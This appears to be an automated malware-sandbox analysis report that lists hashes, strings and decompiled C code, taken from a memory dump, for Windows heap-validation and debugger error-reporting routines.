Opcode ID: 92d765e45ef9172e1cb371890a07baa50a885de1fd7e1832217736131eacab25
Instruction ID: a1fc24d8c54534ab95df6faf151f12cee720e17ac1feecf144922d6758bc047a
Opcode Fuzzy Hash: 92d765e45ef9172e1cb371890a07baa50a885de1fd7e1832217736131eacab25
Instruction Fuzzy Hash: 24B09BB19114D5C9DB51D76066087177A50B7D0741F26C071E1130681A4778C595F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C9B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The resource is owned shared by %d threads, xrefs: 00C9B37E
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00C9B38F
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00C9B305
*** Resource timeout (%p) in %ws:%s, xrefs: 00C9B352
This failed because of error %Ix., xrefs: 00C9B446
a NULL pointer, xrefs: 00C9B4E0
The instruction at %p tried to %s , xrefs: 00C9B4B6
write to, xrefs: 00C9B4A6
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00C9B323
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00C9B39B
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00C9B3D6
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00C9B47D
<unknown>, xrefs: 00C9B27E, 00C9B2D1, 00C9B350, 00C9B399, 00C9B417, 00C9B48E
The critical section is owned by thread %p., xrefs: 00C9B3B9
*** enter .exr %p for the exception record, xrefs: 00C9B4F1
an invalid address, %p, xrefs: 00C9B4CF
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00C9B2F3
*** enter .cxr %p for the context, xrefs: 00C9B50D
The instruction at %p referenced memory at %p., xrefs: 00C9B432
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00C9B2DC
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00C9B484
*** An Access Violation occurred in %ws:%s, xrefs: 00C9B48F
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00C9B476
read from, xrefs: 00C9B4AD, 00C9B4B2
Go determine why that thread has not released the critical section., xrefs: 00C9B3C5
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00C9B53F
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00C9B314
*** then kb to get the faulting stack, xrefs: 00C9B51C
The resource is owned exclusively by thread %p, xrefs: 00C9B374
*** Inpage error in %ws:%s, xrefs: 00C9B418

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: d35a4f77bb1b7c28be0bae7f6c2bfe8cd0e9b3edc463652d58e334a53e4413f2
Instruction ID: 6a41cf4dabc083a03bbc9a917e4251f39c3a6984a5b52fa123f06ea40a30d30e
Opcode Fuzzy Hash: d35a4f77bb1b7c28be0bae7f6c2bfe8cd0e9b3edc463652d58e334a53e4413f2
Instruction Fuzzy Hash: 5B811775A40210FFCF25AB05ED4AD6B7B76EF46B52F058085F0082B263E7A18D51E772

Uniqueness

Uniqueness Score: -1.00%

Function 00CA1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00CA1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0xbc48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xcd589c);
				E00BEB150("Heap error detected at %p (heap handle %p)\n",  *0xcd58a0);
				_t27 =  *0xcd5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00CA1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E00BEB150("Error code: %d - %s\n",  *0xcd5898);
				_t113 =  *0xcd58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter1: %p\n",  *0xcd58a4);
				}
				_t115 =  *0xcd58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter2: %p\n",  *0xcd58a8);
				}
				_t117 =  *0xcd58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Parameter3: %p\n",  *0xcd58ac);
				}
				_t119 =  *0xcd58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xcd58b4);
					E00BEB150("Last known valid blocks: before - %p, after - %p\n",  *0xcd58b0);
				} else {
					_t120 =  *0xcd58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00BEB150();
				} else {
					E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E00BEB150("Stack trace available at %p\n", 0xcd58c0);
			}

0x00ca1c10
0x00ca1c16
0x00ca1c1e
0x00ca1c3d
0x00ca1c3e
0x00ca1c20
0x00ca1c35
0x00ca1c3a
0x00ca1c44
0x00ca1c55
0x00ca1c5a
0x00ca1c65
0x00ca1c67
0x00000000
0x00ca1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ca1c67
0x00ca1cdc
0x00ca1ce5
0x00ca1d04
0x00ca1d05
0x00ca1ce7
0x00ca1cfc
0x00ca1d01
0x00ca1d0b
0x00ca1d17
0x00ca1d1f
0x00ca1d25
0x00ca1d30
0x00ca1d4f
0x00ca1d50
0x00ca1d32
0x00ca1d47
0x00ca1d4c
0x00ca1d61
0x00ca1d67
0x00ca1d68
0x00ca1d6e
0x00ca1d79
0x00ca1d98
0x00ca1d99
0x00ca1d7b
0x00ca1d90
0x00ca1d95
0x00ca1daa
0x00ca1db0
0x00ca1db1
0x00ca1db7
0x00ca1dc2
0x00ca1de1
0x00ca1de2
0x00ca1dc4
0x00ca1dd9
0x00ca1dde
0x00ca1df3
0x00ca1df9
0x00ca1dfa
0x00ca1e00
0x00ca1e0a
0x00ca1e13
0x00ca1e32
0x00ca1e33
0x00ca1e15
0x00ca1e2a
0x00ca1e2f
0x00ca1e39
0x00ca1e4a
0x00ca1e02
0x00ca1e02
0x00ca1e08
0x00000000
0x00000000
0x00ca1e08
0x00ca1e5b
0x00ca1e7a
0x00ca1e7b
0x00ca1e5d
0x00ca1e72
0x00ca1e77
0x00ca1e95

Strings

Parameter2: %p, xrefs: 00CA1DA5
HEAP[%wZ]: , xrefs: 00CA1C30, 00CA1CF7, 00CA1D42, 00CA1D8B, 00CA1DD4, 00CA1E25, 00CA1E6D
Heap error detected at %p (heap handle %p), xrefs: 00CA1C50
heap_failure_invalid_allocation_type, xrefs: 00CA1CB4
heap_failure_cross_heap_operation, xrefs: 00CA1CC2
heap_failure_entry_corruption, xrefs: 00CA1C83
heap_failure_internal, xrefs: 00CA1C6E
heap_failure_unknown, xrefs: 00CA1C75
heap_failure_multiple_entries_corruption, xrefs: 00CA1C8A
heap_failure_invalid_argument, xrefs: 00CA1CAD
HEAP: , xrefs: 00CA1C16, 00CA1C3D, 00CA1D04, 00CA1D4F, 00CA1D98, 00CA1DE1, 00CA1E32, 00CA1E7A
Parameter3: %p, xrefs: 00CA1DEE
Error code: %d - %s, xrefs: 00CA1D12
heap_failure_generic, xrefs: 00CA1C7C
heap_failure_buffer_underrun, xrefs: 00CA1C9F
heap_failure_block_not_busy, xrefs: 00CA1CA6
heap_failure_lfh_bitmap_mismatch, xrefs: 00CA1CD7
heap_failure_usage_after_free, xrefs: 00CA1CBB
Last known valid blocks: before - %p, after - %p, xrefs: 00CA1E45
Parameter1: %p, xrefs: 00CA1D5C
heap_failure_virtual_block_corruption, xrefs: 00CA1C91
heap_failure_buffer_overrun, xrefs: 00CA1C98
Stack trace available at %p, xrefs: 00CA1E86
heap_failure_listentry_corruption, xrefs: 00CA1CD0
heap_failure_freelists_corruption, xrefs: 00CA1CC9

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 36f77af8f9879f3aa10596763402af6ce8c91e161723f0d246015fe2ad13af38
Instruction ID: 8b86b1ab45b706ebf2124db77368443610405c70275a98b08b87935a9bdf5d5e
Opcode Fuzzy Hash: 36f77af8f9879f3aa10596763402af6ce8c91e161723f0d246015fe2ad13af38
Instruction Fuzzy Hash: 0461B237962592DFC311AB869895F25B3E4EB05B78F1D80BFF8196F351D720DC409A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00CA4AEF, Relevance: 11.8, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E00CA4AEF(void* __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				void* _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				void* _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E00BEB150();
						} else {
							E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E00BEB150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E00C9FA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E00BEB150();
						} else {
							E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E00BEB150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E00BEB150();
									} else {
										E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E00BEB150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E00C9FA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E00BEB150();
										} else {
											E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E00C3D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E00CAA80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E00C0E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E00CAA80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E00C0E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E00C0A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E00C0A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E00C0BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E00C923E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E00BE1F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x00ca4af7
0x00ca4afb
0x00ca4afd
0x00ca4b01
0x00ca4b03
0x00ca4b08
0x00ca4b0a
0x00ca4b0f
0x00ca4eb5
0x00ca4eb5
0x00ca4ebb
0x00ca50d5
0x00ca50d8
0x00ca4ff6
0x00000000
0x00ca4ff6
0x00ca50de
0x00ca50e4
0x00ca50e8
0x00ca5107
0x00ca510c
0x00ca50ea
0x00ca50ff
0x00ca5104
0x00ca5112
0x00ca5115
0x00ca5118
0x00ca5119
0x00ca50cb
0x00ca50cb
0x00ca50af
0x00000000
0x00ca50af
0x00ca4ecb
0x00ca50b6
0x00ca50bb
0x00ca4ed1
0x00ca4ee6
0x00ca4eeb
0x00ca50c1
0x00ca50c2
0x00ca50c5
0x00ca50c6
0x00000000
0x00000000
0x00000000
0x00000000
0x00ca4b15
0x00ca4b15
0x00ca4b1c
0x00ca4b1e
0x00ca4b23
0x00ca4b27
0x00ca4b33
0x00ca4b38
0x00ca4b3a
0x00ca4b3c
0x00ca4b41
0x00ca4b41
0x00ca4b3a
0x00ca4b52
0x00ca5045
0x00ca504b
0x00ca504f
0x00ca506e
0x00ca5073
0x00ca5051
0x00ca5066
0x00ca506b
0x00ca5083
0x00ca5088
0x00ca5088
